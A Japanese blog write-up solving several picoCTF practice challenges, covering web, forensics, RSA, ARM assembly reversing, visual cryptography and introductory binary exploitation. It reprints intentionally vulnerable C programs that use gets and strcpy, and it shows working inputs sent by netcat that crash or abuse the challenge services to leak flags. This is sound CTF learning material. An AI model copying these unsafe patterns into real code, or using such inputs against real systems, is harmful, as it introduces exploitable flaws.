picoCTF picoGym Practice Challenges WriteUp その2

picoCTF よりpicoGym Practice ChallengesのWriteUp その2。

前記事が一定のボリュームに達したので、新記事を設けることにした。

解けた問題から順次WriteUpを追加していく予定。

過去のWriteUp記事の一覧はこちら

login (100points)

Webサイト login.mars.picoctf.net を解析してフラグを取得する問題。

ソースコードを表示してみたところ、index.jsというJavaScriptを読み込んでいることが分かった。

<!doctype html>
<html>
    <head>
        <link rel="stylesheet" href="styles.css">
        <script src="index.js"></script>
    </head>
    <body>
        <div>
          <h1>Login</h1>
          <form method="POST">
            <label for="username">Username</label>
            <input name="username" type="text"/>
            <label for="username">Password</label>
            <input name="password" type="password"/>
            <input type="submit" value="Submit"/>
          </form>
        </div>
    </body>
</html>

index.jsにフラグがBase64エンコードされた状態でハードコードされていた。

(async()=>{await new Promise((e=>window.addEventListener("load",e))),document.querySelector("form").addEventListener("submit",(e=>{e.preventDefault();const r={u:"input[name=username]",p:"input[name=password]"},t={};for(const e in r)t[e]=btoa(document.querySelector(r[e]).value).replace(/=/g,"");return"YWRtaW4"!==t.u?alert("Incorrect Username"):"cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ"!==t.p?alert("Incorrect Password"):void alert(`Correct Password! Your flag is ${atob(t.p)}.`)}))})();
echo "cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ" | base64 -D

tunn3l v1s10n (40points)

tunn3l_v1s10n という謎のファイルを解析してフラグを取得する問題。

fileコマンドではファイルの種類を特定できなかった。

$ file tunn3l_v1s10n
tunn3l_v1s10n: data

バイナリ・エディタでファイルを開いてファイルのヘッダーを確認してみた。どうもビットマップ画像ファイルっぽい。

拡張子を.bmpにしてファイルを開こうとしたが、ファイルに不備があるため開けなかった。どうやらファイルのデータを修復する必要がありそう。

Wikiを片手にビットマップ・ファイルのヘッダーの値を色々いじってみた。

オフセット 0x0Aの値 (ビットマップ画像の開始位置を表している)を 36 00 00 00 に変更し、オフセット 0x0Eの値 (DIBヘッダーのバイト数を表している)を28 00 00 00に変更したところ、画像ファイルが開けた。(36 00 00 0028 00 00 00という値はWikiの例に倣って適当に入れてみたのだが、これが当たりだった。)

画像の中にnotaflag{sorry}という文字が確認できたが、これはフラグではなかった。

画像ファイルをstegsolveで調べてみたが、特にこれといった発見はなかった。

どうやら、もう少しビットマップのファイル・ヘッダーをいじる必要がありそう。

オフセット 0x16 の値 (ビットマップの高さを表している)を32 03 00 00 に変更したところ、画像ファイルの全体が現れて画像上部にフラグを確認できた。

Dachshund Attacks (80points)

RSA暗号化されたフラグを復号する問題。

nc mercury.picoctf.net 30761に接続する。

$ nc mercury.picoctf.net 30761
Welcome to my RSA challenge!
e: 48731112960560427178574734672448405619149587085608060835990380217040253197384060425604548182203504794894656029396346736184888851066199371333509579123511380972751268352289529039498285531655671564562131439599933547116979579632357103531753696352749115853423329008163529029668629665930734054440462409669556275495
n: 106626779459928447588076909182852178692629610866029168939770695793998439008380775450462249626016425574310113311335615291001519094553855235569583165916351741253054756042173857882441530321920217706934660695691420190813269735120130642503280884387740915504669032033690751470243457680944658947896652022002787565573
c: 85218665331040616613056409919741150042521111050721407413008053960447329973277885653456048175078050725745619515790583915618386976190794651360510452743645991075422384642624716457110948640163004675343289896868151967637096170297668048674920302266249439099098412045125487488532012578302866395418189894173408510853

以下のサイトにCとNとEの値を入力したところ、フラグを復号できた。

ARMssembly 3 (130points)

以下のARMアセンブリ命令を解読してフラグを取得する問題。

	.arch armv8-a
	.file	"chall_3.c"
	.text
	.align	2
	.global	func1
	.type	func1, %function
func1:
	stp	x29, x30, [sp, -48]!
	add	x29, sp, 0
	str	w0, [x29, 28]
	str	wzr, [x29, 44]
	b	.L2
.L4:
	ldr	w0, [x29, 28]
	and	w0, w0, 1
	cmp	w0, 0
	beq	.L3
	ldr	w0, [x29, 44]
	bl	func2
	str	w0, [x29, 44]
.L3:
	ldr	w0, [x29, 28]
	lsr	w0, w0, 1
	str	w0, [x29, 28]
.L2:
	ldr	w0, [x29, 28]
	cmp	w0, 0
	bne	.L4
	ldr	w0, [x29, 44]
	ldp	x29, x30, [sp], 48
	ret
	.size	func1, .-func1
	.align	2
	.global	func2
	.type	func2, %function
func2:
	sub	sp, sp, #16
	str	w0, [sp, 12]
	ldr	w0, [sp, 12]
	add	w0, w0, 3
	add	sp, sp, 16
	ret
	.size	func2, .-func2
	.section	.rodata
	.align	3
.LC0:
	.string	"Result: %ld\n"
	.text
	.align	2
	.global	main
	.type	main, %function
main:
	stp	x29, x30, [sp, -48]!
	add	x29, sp, 0
	str	w0, [x29, 28]
	str	x1, [x29, 16]
	ldr	x0, [x29, 16]
	add	x0, x0, 8
	ldr	x0, [x0]
	bl	atoi
	bl	func1
	str	w0, [x29, 44]
	adrp	x0, .LC0
	add	x0, x0, :lo12:.LC0
	ldr	w1, [x29, 44]
	bl	printf
	nop
	ldp	x29, x30, [sp], 48
	ret
	.size	main, .-main
	.ident	"GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"
	.section	.note.GNU-stack,"",@progbits

上記のプログラムに引数として1048110976を渡した場合に出力される整数を答えよとのこと。

解読してコメントを入れてみた。

	.arch armv8-a
	.file	"chall_3.c"
	.text
	.align	2
	.global	func1
	.type	func1, %function
func1:
	stp	x29, x30, [sp, -48]!
	add	x29, sp, 0
	str	w0, [x29, 28]    // store the value of w0 to stack+28
	str	wzr, [x29, 44]   // store the value of wzr (zero register) to stack+44
	b	.L2              // jump to L2
.L4:
	ldr	w0, [x29, 28]    // loads the value of stack+28 to w0
	and	w0, w0, 1        // w0 AND 1
	cmp	w0, 0            // compare the value of w0 with 0
	beq	.L3              // if the value of w0 is equal to 0, jump to L3
	ldr	w0, [x29, 44]    // loads the value of stack+44 to w0 (initial value is 0)
	bl	func2            // call func2
	str	w0, [x29, 44]    // store the value of w0 (return value of func2) to stack+44
.L3:
	ldr	w0, [x29, 28]    // loads the value of stack+28 to w0
	lsr	w0, w0, 1        // w0 >> 1
	str	w0, [x29, 28]    // store the value of w0 to stack+28
.L2:
	ldr	w0, [x29, 28]       // loads the value of stack+28 to w0
	cmp	w0, 0               // compare the value of w0 with 0
	bne	.L4                 // if the value of w0 is not equal to 0, jump to L4
	ldr	w0, [x29, 44]       // loads the value of stack+44 (return value of func2) to w0
	ldp	x29, x30, [sp], 48  
	ret
	.size	func1, .-func1
	.align	2
	.global	func2
	.type	func2, %function
func2:
	sub	sp, sp, #16
	str	w0, [sp, 12]         // store the value of w0 to stack+12
	ldr	w0, [sp, 12]         // loads the value stack+12 to w0
	add	w0, w0, 3            // w0 + 3
	add	sp, sp, 16           
	ret
	.size	func2, .-func2
	.section	.rodata
	.align	3
.LC0:
	.string	"Result: %ld\n"
	.text
	.align	2
	.global	main
	.type	main, %function
main:
	stp	x29, x30, [sp, -48]!
	add	x29, sp, 0
	str	w0, [x29, 28]
	str	x1, [x29, 16]
	ldr	x0, [x29, 16]
	add	x0, x0, 8
	ldr	x0, [x0]
	bl	atoi
	bl	func1               // calls func1
	str	w0, [x29, 44]       // store the value of w0 to stack+44
	adrp	x0, .LC0
	add	x0, x0, :lo12:.LC0
	ldr	w1, [x29, 44]       // loads the value of stack+44 (return value of func2) to w1
	bl	printf
	nop
	ldp	x29, x30, [sp], 48
	ret
	.size	main, .-main
	.ident	"GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"
	.section	.note.GNU-stack,"",@progbits

プログラムの処理内容は以下の通り。(引数の値をnとする。)

  1. nが0と等しいか確認する。等しい場合、処理を終了して戻り値を返す。戻り値の初期値は0。
  2. nが0と等しくない場合、n1のANDを取る。(n & 1)
  3. AND演算の結果が0と等しい場合、n1ビット右にシフトする。(n >> 1)
  4. AND演算の結果が0と等しくない場合、戻り値に3を加算し、n1ビット右にシフトする。
  5. 1.から処理を繰り返す。

アセンブリをPythonコードに置き換えて実行した。

value = 1048110976
result = 0

while (value != 0):
	and_value = value & 1
	if (and_value == 0):
		value = value >> 1
		#print(value)
	else:
		result += 3
		value = value >> 1
	#print(str('value: ') + str(value))
	#print(str('result: ') + str(result))
print(str('Result: ') + str(result))
$ python3 pseudo-code.py 
Result: 48

フラグは48。あとは問題文の指示通り48を小文字の16進数 (0xは含めないかつ32ビット形式)に変換してpicoCTF{XXXXXXXX}に埋め込めば良い。32ビット (4バイト) 形式なので、先頭に00 00 00を加える必要がある。

>>> hex(48)

ARMssembly 4 (170points)

以下のARMアセンブリ命令を解読してフラグを取得する問題。

	.arch armv8-a
	.file	"chall_4.c"
	.text
	.align	2
	.global	func1
	.type	func1, %function
func1:
	stp	x29, x30, [sp, -32]!
	add	x29, sp, 0
	str	w0, [x29, 28]
	ldr	w0, [x29, 28]
	cmp	w0, 100
	bls	.L2
	ldr	w0, [x29, 28]
	add	w0, w0, 100
	bl	func2
	b	.L3
.L2:
	ldr	w0, [x29, 28]
	bl	func3
.L3:
	ldp	x29, x30, [sp], 32
	ret
	.size	func1, .-func1
	.align	2
	.global	func2
	.type	func2, %function
func2:
	stp	x29, x30, [sp, -32]!
	add	x29, sp, 0
	str	w0, [x29, 28]
	ldr	w0, [x29, 28]
	cmp	w0, 499
	bhi	.L5
	ldr	w0, [x29, 28]
	sub	w0, w0, #86
	bl	func4
	b	.L6
.L5:
	ldr	w0, [x29, 28]
	add	w0, w0, 13
	bl	func5
.L6:
	ldp	x29, x30, [sp], 32
	ret
	.size	func2, .-func2
	.align	2
	.global	func3
	.type	func3, %function
func3:
	stp	x29, x30, [sp, -32]!
	add	x29, sp, 0
	str	w0, [x29, 28]
	ldr	w0, [x29, 28]
	bl	func7
	ldp	x29, x30, [sp], 32
	ret
	.size	func3, .-func3
	.align	2
	.global	func4
	.type	func4, %function
func4:
	stp	x29, x30, [sp, -48]!
	add	x29, sp, 0
	str	w0, [x29, 28]
	mov	w0, 17
	str	w0, [x29, 44]
	ldr	w0, [x29, 44]
	bl	func1
	str	w0, [x29, 44]
	ldr	w0, [x29, 28]
	ldp	x29, x30, [sp], 48
	ret
	.size	func4, .-func4
	.align	2
	.global	func5
	.type	func5, %function
func5:
	stp	x29, x30, [sp, -32]!
	add	x29, sp, 0
	str	w0, [x29, 28]
	ldr	w0, [x29, 28]
	bl	func8
	str	w0, [x29, 28]
	ldr	w0, [x29, 28]
	ldp	x29, x30, [sp], 32
	ret
	.size	func5, .-func5
	.align	2
	.global	func6
	.type	func6, %function
func6:
	sub	sp, sp, #32
	str	w0, [sp, 12]
	mov	w0, 314
	str	w0, [sp, 24]
	mov	w0, 1932
	str	w0, [sp, 28]
	str	wzr, [sp, 20]
	str	wzr, [sp, 20]
	b	.L14
.L15:
	ldr	w1, [sp, 28]
	mov	w0, 800
	mul	w0, w1, w0
	ldr	w1, [sp, 24]
	udiv	w2, w0, w1
	ldr	w1, [sp, 24]
	mul	w1, w2, w1
	sub	w0, w0, w1
	str	w0, [sp, 12]
	ldr	w0, [sp, 20]
	add	w0, w0, 1
	str	w0, [sp, 20]
.L14:
	ldr	w0, [sp, 20]
	cmp	w0, 899
	bls	.L15
	ldr	w0, [sp, 12]
	add	sp, sp, 32
	ret
	.size	func6, .-func6
	.align	2
	.global	func7
	.type	func7, %function
func7:
	sub	sp, sp, #16
	str	w0, [sp, 12]
	ldr	w0, [sp, 12]
	cmp	w0, 100
	bls	.L18
	ldr	w0, [sp, 12]
	b	.L19
.L18:
	mov	w0, 7
.L19:
	add	sp, sp, 16
	ret
	.size	func7, .-func7
	.align	2
	.global	func8
	.type	func8, %function
func8:
	sub	sp, sp, #16
	str	w0, [sp, 12]
	ldr	w0, [sp, 12]
	add	w0, w0, 2
	add	sp, sp, 16
	ret
	.size	func8, .-func8
	.section	.rodata
	.align	3
.LC0:
	.string	"Result: %ld\n"
	.text
	.align	2
	.global	main
	.type	main, %function
main:
	stp	x29, x30, [sp, -48]!
	add	x29, sp, 0
	str	w0, [x29, 28]
	str	x1, [x29, 16]
	ldr	x0, [x29, 16]
	add	x0, x0, 8
	ldr	x0, [x0]
	bl	atoi
	str	w0, [x29, 44]
	ldr	w0, [x29, 44]
	bl	func1
	mov	w1, w0
	adrp	x0, .LC0
	add	x0, x0, :lo12:.LC0
	bl	printf
	nop
	ldp	x29, x30, [sp], 48
	ret
	.size	main, .-main
	.ident	"GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"
	.section	.note.GNU-stack,"",@progbits

上記のプログラムに引数として3251372985を渡した場合に出力される整数を答えよとのこと。

解読してコメントを入れてみた。

	.arch armv8-a
	.file	"chall_4.c"
	.text
	.align	2
	.global	func1
	.type	func1, %function
func1:
	stp	x29, x30, [sp, -32]!
	add	x29, sp, 0
	str	w0, [x29, 28]         // stores the value of w0 to stack+28
	ldr	w0, [x29, 28]         // loads the value stack+28 to w0
	cmp	w0, 100               // compare the value of w0 with 100
	bls	.L2                   // if w0 <= 100, jump to L2
	ldr	w0, [x29, 28]         // loads the value of stack+28 to w0
	add	w0, w0, 100           // w0 = w0 + 100
	bl	func2                 // calls func2
	b	.L3                   // jump to L2
.L2:
	ldr	w0, [x29, 28]         // loads the value of stack+28 to w0
	bl	func3                 // calls func3
.L3:
	ldp	x29, x30, [sp], 32
	ret
	.size	func1, .-func1
	.align	2
	.global	func2
	.type	func2, %function
func2:
	stp	x29, x30, [sp, -32]!
	add	x29, sp, 0
	str	w0, [x29, 28]          // stores the value of w0 to stack+28
	ldr	w0, [x29, 28]          // loads the value of stack+28 to w0
	cmp	w0, 499                // compare the value of w0 with 499
	bhi	.L5                    // if w0 > 499, jump to L5
	ldr	w0, [x29, 28]          // loads the value of stack+28 to w0
	sub	w0, w0, #86            // w0 = w0 - 86
	bl	func4                  // calls func4
	b	.L6                    // jump to L6
.L5:
	ldr	w0, [x29, 28]          // loads the value of stack+28 to w0
	add	w0, w0, 13             // w0 = w0 + 13
	bl	func5                  // calls func5
.L6:
	ldp	x29, x30, [sp], 32
	ret
	.size	func2, .-func2
	.align	2
	.global	func3
	.type	func3, %function
func3:
	stp	x29, x30, [sp, -32]!
	add	x29, sp, 0
	str	w0, [x29, 28]          // stores the value of w0 to stack+28
	ldr	w0, [x29, 28]          // loads the value of stack+28 to w0
	bl	func7                  // calls func7
	ldp	x29, x30, [sp], 32
	ret
	.size	func3, .-func3
	.align	2
	.global	func4
	.type	func4, %function
func4:
	stp	x29, x30, [sp, -48]!
	add	x29, sp, 0
	str	w0, [x29, 28]          // stores the value of w0 to stack+28
	mov	w0, 17                 // w0 = 17
	str	w0, [x29, 44]          // stores the value of w0 (17) to stack+44
	ldr	w0, [x29, 44]          // loads the value of stack+44 (17) to w0
	bl	func1                  // calls func1
	str	w0, [x29, 44]          // stores the value w0 to stack+44
	ldr	w0, [x29, 28]          // loads the value of stack+28 to w0
	ldp	x29, x30, [sp], 48
	ret
	.size	func4, .-func4
	.align	2
	.global	func5
	.type	func5, %function
func5:
	stp	x29, x30, [sp, -32]!
	add	x29, sp, 0
	str	w0, [x29, 28]           // stores the value of w0 to stack+28
	ldr	w0, [x29, 28]           // loads the value of stack+28 to w0
	bl	func8                   // calls func8
	str	w0, [x29, 28]           // stores the value of w0 to stack+28 (stores the return value of func8 to stack+28)
	ldr	w0, [x29, 28]           // loads the value of stack+28 to w0
	ldp	x29, x30, [sp], 32
	ret
	.size	func5, .-func5
	.align	2
	.global	func6
	.type	func6, %function
func6:
	sub	sp, sp, #32
	str	w0, [sp, 12]             // stores the value of w0 to stack+12
	mov	w0, 314                  // w0 = 314
	str	w0, [sp, 24]             // stores the value of w0 (314) to stack+24
	mov	w0, 1932                 // w0 = 1932
	str	w0, [sp, 28]             // stores the value of w0 (1932) to stack+28
	str	wzr, [sp, 20]            // stores the value of wzr (zero register) to stack+20
	str	wzr, [sp, 20]            // stores the value of wzr (zero register) to stack+20
	b	.L14                     // jump to L14
.L15:
	ldr	w1, [sp, 28]             // loads the value of stack+28 (initial value 1932) to w1
	mov	w0, 800                  // w0 = 800
	mul	w0, w1, w0               // w0 = w1 * w0 (800)
	ldr	w1, [sp, 24]             // loads the value of stack+24 (initial value 314) to w1
	udiv	w2, w0, w1           // w2 = w0 / w1
	ldr	w1, [sp, 24]             // loads the value of stack+24 (initial value 314) to w1
	mul	w1, w2, w1               // w1 = w2 * w1
	sub	w0, w0, w1               // w0 = w0 - w1
	str	w0, [sp, 12]             // stores the value of w0 to stack+12
	ldr	w0, [sp, 20]             // loads the value of stack+20 to w0
	add	w0, w0, 1                // w0 = w0 + 1 (loop counter)
	str	w0, [sp, 20]             // stores the value of w0 to stack+20
.L14:
	ldr	w0, [sp, 20]             // loads the value of stack+20 to w0
	cmp	w0, 899                  // compare the value of w0 with 899
	bls	.L15                     // if w0 <= 899, jump to L15
	ldr	w0, [sp, 12]             // loads the value of stack+12 to w0
	add	sp, sp, 32
	ret
	.size	func6, .-func6
	.align	2
	.global	func7
	.type	func7, %function
func7:
	sub	sp, sp, #16
	str	w0, [sp, 12]              // stores the value of w0 to stack+12
	ldr	w0, [sp, 12]              // loads the value of stack+12 to w0
	cmp	w0, 100                   // compare the value of w0 with 100
	bls	.L18                      // if w <= 100 jump to L18
	ldr	w0, [sp, 12]              // loads the value of w0 to stack+12
	b	.L19                      // jump to L19
.L18:
	mov	w0, 7                     // w0 = 7
.L19:
	add	sp, sp, 16
	ret
	.size	func7, .-func7
	.align	2
	.global	func8
	.type	func8, %function
func8:
	sub	sp, sp, #16
	str	w0, [sp, 12]               // stores the value of w0 to stack+12
	ldr	w0, [sp, 12]               // loads the value of stack+12 to w0
	add	w0, w0, 2                  // w0 = w0 + 2
	add	sp, sp, 16
	ret
	.size	func8, .-func8
	.section	.rodata
	.align	3
.LC0:
	.string	"Result: %ld\n"
	.text
	.align	2
	.global	main
	.type	main, %function
main:
	stp	x29, x30, [sp, -48]!
	add	x29, sp, 0
	str	w0, [x29, 28]
	str	x1, [x29, 16]
	ldr	x0, [x29, 16]
	add	x0, x0, 8
	ldr	x0, [x0]
	bl	atoi
	str	w0, [x29, 44]
	ldr	w0, [x29, 44]
	bl	func1             // calls func1
	mov	w1, w0
	adrp	x0, .LC0
	add	x0, x0, :lo12:.LC0
	bl	printf
	nop
	ldp	x29, x30, [sp], 48
	ret
	.size	main, .-main
	.ident	"GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"
	.section	.note.GNU-stack,"",@progbits

アセンブリをPythonコードに置き換えて実行した。

import sys

def main():
	value = int(sys.argv[1])
	print(func1(value))

def func1(value):
	if (value <= 100):
		 value = func3(value)
	else:
		value = value + 100
		value = func2(value)
	
	value = func3(value)

	return value

def func2(value):
	if (value > 499):
		value = value + 13
		value = func5(value)
	else:
		value = value - 86
		value = func4(value)
	return value

def func3(value):
	value = func7(value)
	return value

def func4(value):
	value_org = value
	value2 = 17
	value2 = func1(value2)
	value = value_org

	return value

def func5(value):
	value = func8(value)
	return value

def func6(value):
	i = 0
	value2 = 314
	value3 = 1932

	while (i <= 899):
		value3 = value3 * 800
		value4 = value3 / value2
		value2 = value4 * value2
		value3 = value3 - value2
		value = value3
		i += 1

	return value

def func7(value):
	if (value <= 100):
		value = 7

	return value

def func8(value):
	value = value + 2
	return value

if __name__ == '__main__':
	main()
$ python3 pseudo-code.py 3251372985
3251373100

フラグは3251373100。あとは問題文の指示通り3251373100を小文字の16進数 (0xは含めないかつ32ビット形式)に変換してpicoCTF{XXXXXXXX}に埋め込めば良い。

>>> hex(3251373100)

Pixelated (100points)

画像ファイルを解析してフラグを取得する問題。

scrambled1.pngscrambled2.pngという2つのPNG画像ファイルを渡される。2枚とも砂嵐の画像で、フラグや手がかりになりそうな情報は載っていない。stringsやexiftoolやstegsolveで調べてみたが、特にこれといった発見はなかった。

"pixelated cryptography"でググってみたところ、Visual cryptographyに関するページがヒットした。
2つの画像ファイルを重ねると、別の新しい画像が現れるらしい。

こちらのサイトで2つのファイルを合体させてみた。

以下はscrambled1.pngscrambled2.pngを重ねて1つの画像ファイルにしたもの。

灰色1色で最初失敗したかと思ったが、上記の画像ファイルをstegsolveで解析したところフラグを取得できた。("Random colour map 1"でフラグが現れた。)

buffer overflow 0 (100points)

遠隔のサーバー上で実行されているプログラムの脆弱性を突いてフラグを取得する問題。

プログラムの実行ファイルvulnとソースコードvuln.cを渡される。

vulnは32ビットのELFファイルだった。checksecで確認したところNXやPIEが有効化されていたので、少し時間がかかるかなと身構えた。

$ sudo ./checksec.sh --file=vuln
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   84 Symbols	  No	0		4		vuln

続いてソースコードvuln.cを確認してみた。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
  printf("%s\n", flag);
  fflush(stdout);
  exit(1);
}

void vuln(char *input){
  char buf2[16];
  strcpy(buf2, input);
}

int main(int argc, char **argv){
  
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }
  
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler); // Set up signal handler
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);


  printf("Input: ");
  fflush(stdout);
  char buf1[100];
  gets(buf1); 
  vuln(buf1);
  printf("The program will exit now\n");
  return 0;
}

どうやらプログラムにエラーを起こさせると、カスタムのエラー・ハンドリング処理のsigsegv_handler()が呼び出されてフラグを取れる模様。

プログラムの中ではgets()strcpy()というバッファオーバーフローに対して脆弱な関数が呼び出されていた。

  char buf1[100];
  gets(buf1); 
  vuln(buf1);
void vuln(char *input){
  char buf2[16];
  strcpy(buf2, input);
}

このプログラムはユーザーの入力した値をgets()で受け取り、vuln()という関数に引数として渡す。vuln()はユーザーの入力した値をstrcpy()を用いてbuf2という別のバッファにコピーする。

ここで注目すべきは、それぞれのバッファのサイズである。ユーザーの入力値は最大で100バイト指定できる。(char buf1[100];)
対してコピー先のバッファのbuf2は最大で16バイトのデータしか受け取れない。(char buf2[16];)

つまり、入力値として16バイトを越えるデータを入力すれば、strcpy()がエラーを起こし、sigsegv_handler()が呼び出され、フラグを取ることができる。

以下のコマンドでフラグを取得できた。

python3 -c 'print("a" * 20)' | nc saturn.picoctf.net 65355

CVE-XXXX-XXXX (100points)

以下の脆弱性のCVE番号を突き止める問題。

Enter the CVE of the vulnerability as the flag with the correct flag format:picoCTF{CVE-XXXX-XXXXX} replacing XXXX-XXXXX with the numbers for the matching vulnerability.The CVE we're looking for is the first recorded remote code execution (RCE) vulnerability in 2021 in the Windows Print Spooler Service, which is available across desktop and server versions of Windows operating systems. The service is used to manage printers and print servers.

PrintNightmare (CVE-2021-34527)

basic-file-exploit (100points)

遠隔のサーバー上で実行されているプログラムの不備を突いてフラグを取得する問題。

プログラムのソースコードprogram-redacted.cを渡される。

以下、ソースコード。

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <stdint.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>


#define WAIT 60


static const char* flag = "[REDACTED]";

static char data[10][100];
static int input_lengths[10];
static int inputs = 0;



int tgetinput(char *input, unsigned int l)
{
    fd_set          input_set;
    struct timeval  timeout;
    int             ready_for_reading = 0;
    int             read_bytes = 0;
    
    if( l <= 0 )
    {
      printf("'l' for tgetinput must be greater than 0\n");
      return -2;
    }
    
    
    /* Empty the FD Set */
    FD_ZERO(&input_set );
    /* Listen to the input descriptor */
    FD_SET(STDIN_FILENO, &input_set);

    /* Waiting for some seconds */
    timeout.tv_sec = WAIT;    // WAIT seconds
    timeout.tv_usec = 0;    // 0 milliseconds

    /* Listening for input stream for any activity */
    ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
    /* Here, first parameter is number of FDs in the set, 
     * second is our FD set for reading,
     * third is the FD set in which any write activity needs to updated,
     * which is not required in this case. 
     * Fourth is timeout
     */

    if (ready_for_reading == -1) {
        /* Some error has occured in input */
        printf("Unable to read your input\n");
        return -1;
    } 

    if (ready_for_reading) {
        read_bytes = read(0, input, l-1);
        if(input[read_bytes-1]=='\n'){
        --read_bytes;
        input[read_bytes]='\0';
        }
        if(read_bytes==0){
            printf("No data given.\n");
            return -4;
        } else {
            return 0;
        }
    } else {
        printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
        return -3;
    }

    return 0;
}


static void data_write() {
  char input[100];
  char len[4];
  long length;
  int r;
  
  printf("Please enter your data:\n");
  r = tgetinput(input, 100);
  // Timeout on user input
  if(r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }
  
  while (true) {
    printf("Please enter the length of your data:\n");
    r = tgetinput(len, 4);
    // Timeout on user input
    if(r == -3)
    {
      printf("Goodbye!\n");
      exit(0);
    }
  
    if ((length = strtol(len, NULL, 10)) == 0) {
      puts("Please put in a valid length");
    } else {
      break;
    }
  }

  if (inputs > 10) {
    inputs = 0;
  }

  strcpy(data[inputs], input);
  input_lengths[inputs] = length;

  printf("Your entry number is: %d\n", inputs + 1);
  inputs++;
}


static void data_read() {
  char entry[4];
  long entry_number;
  char output[100];
  int r;

  memset(output, '\0', 100);
  
  printf("Please enter the entry number of your data:\n");
  r = tgetinput(entry, 4);
  // Timeout on user input
  if(r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }
  
  if ((entry_number = strtol(entry, NULL, 10)) == 0) {
    puts(flag);
    fseek(stdin, 0, SEEK_END);
    exit(0);
  }

  entry_number--;
  strncpy(output, data[entry_number], input_lengths[entry_number]);
  puts(output);
}


int main(int argc, char** argv) {
  char input[3] = {'\0'};
  long command;
  int r;

  puts("Hi, welcome to my echo chamber!");
  puts("Type '1' to enter a phrase into our database");
  puts("Type '2' to echo a phrase in our database");
  puts("Type '3' to exit the program");

  while (true) {   
    r = tgetinput(input, 3);
    // Timeout on user input
    if(r == -3)
    {
      printf("Goodbye!\n");
      exit(0);
    }
    
    if ((command = strtol(input, NULL, 10)) == 0) {
      puts("Please put in a valid number");
    } else if (command == 1) {
      data_write();
      puts("Write successful, would you like to do anything else?");
    } else if (command == 2) {
      if (inputs == 0) {
        puts("No data yet");
        continue;
      }
      data_read();
      puts("Read successful, would you like to do anything else?");
    } else if (command == 3) {
      return 0;
    } else {
      puts("Please type either 1, 2 or 3");
      puts("Maybe breaking boundaries elsewhere will be helpful");
    }
  }

  return 0;
}

以下、実行結果。

$ nc saturn.picoctf.net 52681
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
  • 1を選択すると任意のデータを書き込める。データを書き込むとentry numberが付与される。(1回目の書き込みのentry numberは1、2回目の書き込みのentry numberは2、という具合。)
  • 2を選択すると1で書き込んだデータを読み出すことが出来る。entry numberを指定することで読み出すデータを選択できる。
  • 3を選択するとプログラムが終了する。

カギとなるのは2を選択した際に呼び出されるdata_read()関数である。

static void data_read() {
  char entry[4];
  long entry_number;
  char output[100];
  int r;

  memset(output, '\0', 100);
  
  printf("Please enter the entry number of your data:\n");
  r = tgetinput(entry, 4);
  // Timeout on user input
  if(r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }
  
  if ((entry_number = strtol(entry, NULL, 10)) == 0) {
    puts(flag);
    fseek(stdin, 0, SEEK_END);
    exit(0);
  }

  entry_number--;
  strncpy(output, data[entry_number], input_lengths[entry_number]);
  puts(output);
}

entry numberに0を指定するとフラグを読み出せる模様。

以下の手順でフラグを取得できた。

  • プログラムを実行して、最初に1を選択して適当なデータを書き込む。(何もデータを書き込んでいない状態だとdata_read()が呼び出されないため)
  • 続けて2を選択してentry numberに0を指定する。
$ nc saturn.picoctf.net 52681
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
1
1
Please enter your data:
hoge
hoge
Please enter the length of your data:
10
10
Your entry number is: 1
Write successful, would you like to do anything else?
2
2
Please enter the entry number of your data:
0
0
picoCTF{<REDACTED>}

buffer overflow 1 (200points)

遠隔のサーバー上で実行されているプログラムの脆弱性を突いてフラグを取得する問題。

プログラムの実行ファイルvulnとソースコードvuln.cを渡される。

vulnは32ビットのELFファイルだった。checksecで確認したところPIEとstack canaryが無効化されていた。

$ sudo ./checksec.sh --file=vuln
[sudo] password for sansforensics: 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   76 Symbols	  No	0		3		vuln

続いてソースコードvuln.cを確認してみた。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

